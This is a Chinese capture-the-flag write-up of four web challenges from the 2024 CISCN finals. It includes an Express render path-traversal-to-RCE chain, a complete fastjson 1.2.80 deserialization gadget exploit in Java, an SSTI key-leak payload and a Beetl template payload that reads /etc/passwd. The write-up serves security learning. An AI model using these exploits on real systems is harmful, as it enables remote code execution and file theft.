2024Ciscn总决赛Web Writeup

news/2024/10/21 20:42:01

前言

鸽了三个月的复现计划:)

ezjs

考点是express引擎解析的一个trick,在高版本的express已经修复,先贴源码

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');const path = require("path");function createDirectoriesForFilePath(filePath) {const dirname = path.dirname(filePath);fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){if (req.session.user!=null){next()}else {res.redirect('/login')}
}const storage = multer.diskStorage({destination: function (req, file, cb) {cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录},filename: function (req, file, cb) {// 直接使用原始文件名cb(null, file.originalname);}
});// 配置 multer 上传中间件
const upload = multer({storage: storage, // 使用自定义存储选项fileFilter: (req, file, cb) => {const fileExt = path.extname(file.originalname).toLowerCase();if (fileExt === '.ejs') {// 如果文件后缀为 .ejs,则拒绝上传该文件return cb(new Error('Upload of .ejs files is not allowed'), false);}cb(null, true); // 允许上传其他类型的文件}
});admin={"username":"ADMIN","password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({secret: 'Can_U_hack_me???',resave: false,saveUninitialized: true,cookie: { maxAge: 3600 * 1000 }
}));app.get('/',(req,res)=>{res.redirect('/login')
})app.get('/login', (req, res) => {res.render('login');
});app.post('/login', (req, res) => {const { username, password } = req.body;if (username === 'admin'){return res.status(400).send('you can not be admin');}const new_username = username.toUpperCase()if (new_username === admin.username && password === admin.password) {req.session.user = "ADMIN";res.redirect('/rename');} else {// res.redirect('/login');}
});app.get('/upload', (req, res) => {res.render('upload');
});app.post('/upload', upload.single('fileInput'), (req, res) => {if (!req.file) {return res.status(400).send('No file uploaded');}const fileExt = path.extname(req.file.originalname).toLowerCase();if (fileExt === '.ejs') {return res.status(400).send('Upload of .ejs files is not allowed');}res.send('File uploaded successfully: ' + req.file.originalname);
});app.get('/render',(req, res) => {const { filename } = req.query;if (!filename) {return res.status(400).send('Filename parameter is required');}const filePath = path.join(__dirname, 'uploads', filename);if (filePath.endsWith('.ejs')) {return res.status(400).send('Invalid file type.');}res.render(filePath);
});app.get('/rename',IfLogin, (req, res) => {if (req.session.user !== 'ADMIN') {return res.status(403).send('Access forbidden');}const { oldPath , newPath } = req.query;if (!oldPath || !newPath) {return res.status(400).send('Missing oldPath or newPath');}if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {return res.status(400).send('Invalid file name');}if (oldPath && /\.\.|flag/i.test(oldPath)) {return res.status(400).send('Invalid file name');}const new_file = newPath.toLowerCase();const oldFilePath = path.join(__dirname, 'uploads', oldPath);const newFilePath = path.join(__dirname, 'uploads', new_file);if (newFilePath.endsWith('.ejs')){return res.status(400).send('Invalid file type.');}if (!oldPath) {return res.status(400).send('oldPath parameter is required');}if (!fs.existsSync(oldFilePath)) {return res.status(404).send('Old file not found');}if (fs.existsSync(newFilePath)) {return res.status(409).send('New file path already exists');}createDirectoriesForFilePath(newFilePath)fs.rename(oldFilePath, newFilePath, (err) => {if (err) {console.error('Error renaming file:', err);return res.status(500).send('Error renaming file');}res.send('File renamed successfully');});
});app.listen('3000', () => {console.log(`http://localhost:3000`)
})

当我们传入的filename没有后缀的时候,render会自动加入默认设置的.ejs,当我们传入的filename有后缀时,会取最后一个后缀进行require,假设filename=1.js.abc,那么就会require('abc'),为什么会这样,我们追踪下源码,res.render处打个断点

image

view在没cache的情况下view变量默认是空的,就会在此处调用一个View(),而且当这个函数结束的时候,他会继续走一个tryRender函数,看View函数内容

function View(name, options) {var opts = options || {};this.defaultEngine = opts.defaultEngine;this.ext = extname(name);this.name = name;this.root = opts.root;if (!this.ext && !this.defaultEngine) {throw new Error('No default engine was specified and no extension was provided.');}var fileName = name;if (!this.ext) {// get extension from default engine namethis.ext = this.defaultEngine[0] !== '.'? '.' + this.defaultEngine: this.defaultEngine;fileName += this.ext;}if (!opts.engines[this.ext]) {// load enginevar mod = this.ext.slice(1)debug('require "%s"', mod)// default engine exportvar fn = require(mod).__expressif (typeof fn !== 'function') {throw new Error('Module "' + mod + '" does not provide a view engine.')}opts.engines[this.ext] = fn}// store loaded enginethis.engine = opts.engines[this.ext];// lookup paththis.path = this.lookup(fileName);
}

重点在这

image

this.ext是我们传入的最后一个后缀,去掉.传给了mod,然后被require,require默认是读取node_modules中的index.js,假设这里mod是js,那么就会require node_modules/js/index.js,也就是说我们能控制node_modules下的文件内容的话就能rce了,刚好这里的rename可以实现目录穿越写入node_modules中,我们先随便上传个index.js,内容为:

const p = require('child_process')
p.exec("calc")

然后rename?oldPath=index.js&newPath=../node_modules/F12/index.js
rce:render?filename=1.F12
fix也很简单,把.js加入黑名单就行

solon_master

考察的是fastjson原生反序列化,fastjson1.2.80,得绕autoType,先看反序列化入口:

image

重写了resolveClass,最外层得是User类,并且不能使用BadAttributeValueExpException,这个好说,我们看User类

public class User implements Serializable {public String name;public Map info;public User() {}public Map getInfo() {System.out.println("getInfo");return this.info;}public void setInfo(Map info) {this.info = info;}public String getName() {System.out.println("getName");return this.name;}public void setName(String name) {this.name = name;}public User(String name) {this.name = name;}
}

User类中有个属性是Map,我们把这个Map设置成恶意的序列化数据就行了,那么就考虑从HashMap开始往后的利用链,这里选择HashMap#readObject->JSONArray#toString->getter,编写exp:

package com.example.demo;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(templates, "1");Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");_bytecodes.setAccessible(true);byte[] bytes = Files.readAllBytes(Paths.get("E:\\untitled\\target\\classes\\com\\example\\demo\\calc.class"));byte[][] code = {bytes};_bytecodes.set(templates, code);Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");_tfactory.setAccessible(true);_tfactory.set(templates, new TransformerFactoryImpl());ArrayList arrayList = new ArrayList();arrayList.add(templates);JSONArray toStringBean = new JSONArray(arrayList);// GetterClass#getName is calledHashMap hashMap = makeHashMapByTextAndMnemonicHashMap(toStringBean);User user = new User();user.setName("F12");user.setInfo(hashMap);// 这里是为了绕fastjson自己的resolveClass,让其走TC_REFERENCE,就不会走它的resolveClass,也就不会触发autoTypeHashMap hashMap1 = new HashMap();hashMap.put(templates,user);System.out.println(Base64.getEncoder().encodeToString(ser(user)));}public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));tHashMap1.put(toStringClass, "123");tHashMap2.put(toStringClass, "12");setFieldValue(tHashMap1, "loadFactor", 1);setFieldValue(tHashMap2, "loadFactor", 1);HashMap hashMap = new HashMap();hashMap.put(tHashMap1,"1");hashMap.put(tHashMap2,"1");tHashMap1.put(toStringClass, null);tHashMap2.put(toStringClass, null);return hashMap;}public static Object getObjectByUnsafe(Class clazz) throws Exception{Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);Unsafe unsafe = (Unsafe) theUnsafe.get(null);return unsafe.allocateInstance(clazz);}public static void setFieldValue(Object obj, String key, Object val) throws Exception{Field field = null;Class clazz = obj.getClass();while (true){try {field = clazz.getDeclaredField(key);break;} catch (NoSuchFieldException e){clazz = clazz.getSuperclass();}}field.setAccessible(true);field.set(obj, val);}public static byte[] ser(Object obj) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(obj);return baos.toByteArray();}public static void unser(byte[] exp) throws ClassNotFoundException, IOException {ByteArrayInputStream bais = new ByteArrayInputStream(exp);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();}
}

关于如何绕fastjson的resolveClass,可以参考https://blog.csdn.net/YakProject/article/details/131291768

ShardCard

使用了沙箱的SSTI,跟R3CTF的NinjaClub有些类似,Info类继承了BaseModel,理论上可以打pickle反序列化,但是本地环境测试好像把parse_raw给拉黑了,那么只能换一种打法,只要读取rsakey,我们就可以伪造token,改变avatar的值来任意读取文件,丢个payload在这:
{{info.__class__.parse_avatar.__globals__.rsakey}},本地读出来nm地址,不玩了,就这样吧

Fobee

beetl模板注入,首先绕username=admin拿到密码,这个很简单,unicode编码就行,/render里使用了BeetlKit.render,这里存在注入,不过有黑名单,如下:

pkgName = name.substring(0, i);className = name.substring(i + 1);if (pkgName.startsWith("java.lang.reflect")) {return false;} else if (!pkgName.startsWith("java.lang")) {if (pkgName.startsWith("java.beans")) {return false;} else if (pkgName.startsWith("org.beetl")) {return false;} else if (pkgName.startsWith("javax.")) {return false;} else {return !pkgName.startsWith("sun.");}} else {return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");}

听说CVE-2024-22533可以代码执行,不过自己摸索没复现出来,这里写一个读取文件的写法,exp如下:

${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("/etc/passwd","")))}

有复现出的师傅麻烦教教我:)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74343.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

C# 新建的类库无法添加 System.Drawing 引用问题

C#类库添加System.Drawing引用时,选择程序集 -> 框架 -> 再搜索对应的库,添加引用就可以了。不要在COM中搜索。

20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告 1.实验内容 1.1 本周学习内容 1.1.1 后门介绍后门概念:不经过正常认证流程而访问系统的通道 后门类型:编译器、操作系统、应用程序中的后门,潜伏于OS或伪装成APP的后门程序1.1.2 后门案例编译器后门:Xcode 操作…

tms fnc ui

tms fnc uitms fnc ui 这组界面控件,支持DELPHI的VCL和FMX,还支持FPC的LCL。 1)TTMSFNCNavigationPanel2)TTMSFNCTileList3)本文来自博客园,作者:{咏南中间件},转载请注明原文链接:https://www.cnblogs.com/hnxxcxg/p/18490245

第6课 测试用例设计

1.黑盒测试方法2.白盒测试方法术语一: • 动态测试(dynamic testing):通过运行软件的组 件或 系统来测试软件 • 静态测试(static testing):对组件的规格说明书 进行 评审,对静态代码进行走查 • 正式评审(formal review):对评审过程及需求文 档的 一种特定评审 • …

转载 兔兔电脑机器码修改工具1.0

使用说明: 1.关闭**毒软件(1.易语言编写可能会误报 2.需要修改系统信息可能会被拦截); 2.管理员运行; 3.根据需要修改机器码(部分系统需要运行兼容性初始化) 4.修改主板会屏蔽网卡,所以要先修改网卡然后再修改主板; 5.重启电脑即可恢复,网卡修改不会恢复,需要手动改…

机器学习基本介绍

1、人工智能概述 人工智能发展必备三要素:数据 算法 计算力 CPU,GPU,TPU计算力之CPU、GPU对比:CPU主要适合I\O密集型的任务GPU主要适合计算密集型任务 1.1、工智能、机器学习和深度学习的关系人工智能和机器学习,深度学习的关系:机器学习是人工智能的一个实现途径深度学习…

考场环境 NoiLinux 测试

觉得还是有必要提前练一下 用的是官网的 NoiLinux.iso 全程断网下载 虽然不知道实机预安装系统时是不是断网的 NoiLinux,但是保险一点还是选了断网省选的时候,Windows 里只有画图和 Dev-C++分辨率非常构式,需要手动调分辨率,咱们电脑是 1920*1080(没找到适配这个电脑的分辨…